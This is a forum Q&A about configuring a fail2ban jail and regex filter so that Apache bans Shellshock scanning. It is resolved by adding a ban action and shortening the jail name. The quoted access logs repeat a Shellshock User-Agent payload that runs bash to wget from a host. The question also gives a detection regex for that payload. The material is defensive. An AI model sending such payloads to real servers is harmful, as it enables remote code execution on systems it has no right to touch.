2

I have installed the Apache web server on a stock installation of Ubuntu 14.04, and I am trying to use fail2ban to block requests that check for vulnerabilities.

I have put the following in /etc/fail2ban/jail.local:

[apache-vulnerability-scan]

enabled  = true
port     = http,https
filter   = apache-vulnerability-scan
logpath  = /var/log/apache*/*access.log
maxretry = 1

The definition of the rule is in /etc/fail2ban/filter.d/apache-vulnerability-scan.conf:

[Definition]

failregex = ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$

ignoreregex =

For those who might not be familiar with Ubuntu's fail2ban default rules, some of the primary rules are as shown:

ignoreip = 127.0.0.1/8
bantime  = 600
findtime = 600
maxretry = 3
backend = auto
usedns = warn
protocol = tcp
chain = INPUT

However, I'm able to make requests without fail2ban banning my IP, even though maxretry is set to 1.

10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:43 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"

The status of the filter seems to be okay:

# fail2ban-client status apache-vulnerability-scan
Status for the jail: apache-vulnerability-scan
|- filter
|  |- File list:        /var/log/apache2/other_vhosts_access.log /var/log/apache
2/access.log
|  |- Currently failed: 0
|  `- Total failed:     0
`- action
   |- Currently banned: 0
   |  `- IP list:
   `- Total banned:     0

As seems to be the rule itself:

Running tests
=============

Use   failregex file : /etc/fail2ban/filter.d/apache-vulnerability-scan.conf
Use         log file : /var/log/apache2/access.log


Results
=======

Failregex: 10 total
|-  #) [# of hits] regular expression
|   1) [10] ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:42 2015
|      10.0.2.2  Sat Nov 21 00:11:42 2015
|      10.0.2.2  Sat Nov 21 00:11:43 2015
`-

Ignoreregex: 0 total

Date template hits:
|- [# of hits] date format
|  [13] Day/MONTH/Year:Hour:Minute:Second
|  [0] WEEKDAY MONTH Day Hour:Minute:Second[.subsecond] Year
|  [0] WEEKDAY MONTH Day Hour:Minute:Second Year
|  [0] WEEKDAY MONTH Day Hour:Minute:Second
|  [0] MONTH Day Hour:Minute:Second
|  [0] Year/Month/Day Hour:Minute:Second
|  [0] Day/Month/Year Hour:Minute:Second
|  [0] Day/Month/Year2 Hour:Minute:Second
|  [0] Month/Day/Year:Hour:Minute:Second
|  [0] Year-Month-Day Hour:Minute:Second[,subsecond]
|  [0] Year-Month-Day Hour:Minute:Second
|  [0] Year.Month.Day Hour:Minute:Second
|  [0] Day-MONTH-Year Hour:Minute:Second[.Millisecond]
|  [0] Day-Month-Year Hour:Minute:Second
|  [0] Month-Day-Year Hour:Minute:Second[.Millisecond]
|  [0] TAI64N
|  [0] Epoch
|  [0] ISO 8601
|  [0] Hour:Minute:Second
|  [0] <Month/Day/Year@Hour:Minute:Second>
|  [0] YearMonthDay Hour:Minute:Second
|  [0] Month-Day-Year Hour:Minute:Second
`-

Lines: 13 lines, 0 ignored, 12 matched, 1 missed
|- Missed line(s):
|  10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"
`-

Why are the fail2ban rules not coming into effect? What am I doing wrong here?

2
  • Is that a typing mistake, that your rule Definition is under /etc/apache2/filter.d/ ?
    – Diamond
    Nov 21, 2015 at 9:05
  • @bangal, yes it indeed is, I'll correct it.
    – user175627
    Nov 22, 2015 at 6:53

1 Answer 1

2

You are missing an action for the used rules, which means fail2ban doesn't know what to do when a rule is matching. This you can configure globally or locally for each jail. The action rules are defined under /etc/fail2ban/action.d/

For example, for a global banaction you may add the following in jail.local:

banaction = iptables-multiport

Please check your jail.conf file's "ACTIONS" area for more details.

You will also need to shorten the jail name apache-vulnerability-scan as iptables chain name has length limitation.

5
  • After adding the banaction line to the [apache-vulnerability-scan] section, as well as setting findtime/bantime=600, when I run fail2ban-client status apache-vulnerability-scan, I see that my IP has been banned, but I am still able to access the webserver. Can you help?
    – user175627
    Nov 24, 2015 at 6:12
  • Please post the output of iptables -L.
    – Diamond
    Nov 24, 2015 at 7:41
  • have a look at pastebin.com/9yj4f2SM
    – user175627
    Nov 24, 2015 at 14:29
  • 1
    As you can see, there is no rule in iptables added. Can you change apache-vulnerability-scan to something shorter like apache-v-s and try again ?
    – Diamond
    Nov 24, 2015 at 14:45
  • Renaming apache-vulnerability-scan to something shorter like vulnscan did the trick, thanks!
    – user175627
    Nov 28, 2015 at 17:53

You must log in to answer this question.